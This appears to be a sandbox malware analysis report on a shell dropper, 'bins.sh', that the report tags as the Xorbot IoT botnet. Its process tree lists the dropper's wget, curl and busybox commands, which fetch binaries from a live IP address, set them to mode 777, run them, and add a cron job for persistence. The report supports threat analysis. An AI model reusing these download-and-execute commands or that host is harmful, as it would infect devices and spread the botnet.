Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15/01/2025, 16:58

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250115-vgtbyszpem
  • SHA256 ff27c6fba58bce9e7cb7bc525cda9bf24adbb9614a28430c28582dfd34fd29a0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1852) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:671
        • /usr/bin/wget
          wget http://94.154.35.94/bins/Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
          • Writes file to tmp directory
          PID:675
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:699
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
          • Writes file to tmp directory
          PID:718
        • /bin/chmod
          chmod 777 Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
          • File and Directory Permissions Modification
          PID:722
        • /tmp/Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          ./Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
          • Executes dropped EXE
          PID:724
        • /bin/rm
          rm Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
          2⤵
            PID:726
          • /usr/bin/wget
            wget http://94.154.35.94/bins/XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            2⤵
            • Writes file to tmp directory
            PID:727
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            ./XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:753
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:755
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:756
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:757
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:759
                • /bin/rm
                  rm XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
                  2⤵
                    PID:763
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                    2⤵
                      PID:766
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                      2⤵
                        PID:767
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                        2⤵
                        • Writes file to tmp directory
                        PID:789
                      • /bin/chmod
                        chmod 777 SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                        2⤵
                        • File and Directory Permissions Modification
                        PID:858
                      • /tmp/SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                        ./SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                        2⤵
                        • Executes dropped EXE
                        PID:859
                      • /bin/rm
                        rm SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                        2⤵
                          PID:861
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                          2⤵
                            PID:862
                          • /usr/bin/curl
                            curl -O http://94.154.35.94/bins/5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                            2⤵
                              PID:863
                            • /bin/busybox
                              /bin/busybox wget http://94.154.35.94/bins/5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                              2⤵
                              • Writes file to tmp directory
                              PID:864
                            • /bin/chmod
                              chmod 777 5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                              2⤵
                              • File and Directory Permissions Modification
                              PID:868
                            • /tmp/5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                              ./5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                              2⤵
                              • Executes dropped EXE
                              PID:869
                            • /bin/rm
                              rm 5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                              2⤵
                                PID:872
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                2⤵
                                  PID:873
                                • /usr/bin/curl
                                  curl -O http://94.154.35.94/bins/9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                  2⤵
                                    PID:875
                                  • /bin/busybox
                                    /bin/busybox wget http://94.154.35.94/bins/9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:877
                                  • /bin/chmod
                                    chmod 777 9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:882
                                  • /tmp/9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                    ./9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                    2⤵
                                    • Executes dropped EXE
                                    PID:883
                                  • /bin/rm
                                    rm 9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                    2⤵
                                      PID:884
                                    • /usr/bin/wget
                                      wget http://94.154.35.94/bins/soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                      2⤵
                                        PID:885
                                      • /usr/bin/curl
                                        curl -O http://94.154.35.94/bins/soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                        2⤵
                                          PID:887
                                        • /bin/busybox
                                          /bin/busybox wget http://94.154.35.94/bins/soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:893
                                        • /bin/chmod
                                          chmod 777 soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:900
                                        • /tmp/soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                          ./soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                          2⤵
                                          • Executes dropped EXE
                                          PID:901
                                        • /bin/rm
                                          rm soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                          2⤵
                                            PID:904
                                          • /usr/bin/wget
                                            wget http://94.154.35.94/bins/UvgzJVOv3FSAQYj2SQZ36ETqft1NyHMMlL
                                            2⤵
                                              PID:906

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI

                                                • Path /tmp/5Mo1fEOvdSV4kCfnHypjWMW6FrwG8P4fvI
                                                • Size 98KB
                                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE

                                                • Path /tmp/9PDUZb7jghMxXV2dbnpD9Txjiqo4lEaCiE
                                                • Size 177KB
                                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                • MD5 SHA1 SHA512 SSDEEP

                                                Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg

                                                • Path /tmp/Ch3mQwL1I764NpdzfQNTVtK1iOoxJNwlPg
                                                • Size 99KB
                                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                • MD5 SHA1 SHA512 SSDEEP

                                                SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe

                                                • Path /tmp/SFsUR4L2AlRuTWviKcwkcRDzH75jcV4hSe
                                                • Size 107KB
                                                • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                • MD5 SHA1 SHA512 SSDEEP

                                                XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf

                                                • Path /tmp/XDirTopSwHJXsilVm1kfnhthFwjKTOUrSf
                                                • Size 119KB
                                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                • MD5 SHA1 SHA512 SSDEEP

                                                soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q

                                                • Path /tmp/soNGDCgDIM4JYeE8mN7JcHHx5CzJNJHD9q
                                                • Size 151KB
                                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                • MD5 SHA1 SHA512 SSDEEP

                                                tmp.mHGEhH

                                                • Path /var/spool/cron/crontabs/tmp.mHGEhH
                                                • Size 210B
                                                • SHA256 80cfedb4f21908463fced887c18e6c81fbc23d82259d9aee913005c07ab45b60
                                                • MD5 SHA1 SHA512